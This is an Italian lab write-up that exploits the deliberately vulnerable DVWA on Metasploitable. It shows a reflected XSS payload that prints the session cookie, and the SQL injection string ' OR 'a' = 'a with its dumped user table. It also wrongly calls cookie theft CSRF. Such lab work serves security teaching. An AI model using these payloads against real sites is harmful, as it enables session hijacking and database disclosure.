

Andiamo nella sezione **XSS** della DVWA installata su Metasploitable, su difficoltà low.

Scriviamo un semplice codice **JavaScript** nella casella per l'inserimento del nome; una volta fatto submit questo stampa i cookie della sessione attuale. In un sito web che soffre di XSS, un attaccante potrebbe scrivere uno script che individua i cookie della sessione attuale di un utente ignaro che clicca sul link e inviarli a sé stesso, in modo da poterli usare per richieste autenticate in siti dove sono presenti dati sensibili dell'utente, realizzando un attacco di tipo Cross-Site Request Forgery (**CSRF**).

Si noti come inserendo l'**url** in figura lo script viene eseguito automaticamente; tutto ciò che serve ad un attaccante è riuscire a far aprire il link al target.

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

🌐 192.168.50.101

security=low; PHPSESSID=04b40366a37c1795cb70409aa34190b3

🛡️ 192.168.50.101/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)<%2Fscript>#

Nella sezione **SQL Injection** invece con il codice **' OR 'a' = 'a**, che rappresenta una condizione sempre vera, siamo in grado di stampare tutto il contenuto del database.

Vulnerability: SQL Injection

User ID:

Submit

ID: ' OR 'a' = 'a
First name: admin
Surname: admin

ID: ' OR 'a' = 'a
First name: Gordon
Surname: Brown

ID: ' OR 'a' = 'a
First name: Hack
Surname: Me

ID: ' OR 'a' = 'a
First name: Pablo
Surname: Picasso

ID: ' OR 'a' = 'a
First name: Bob
Surname: Smith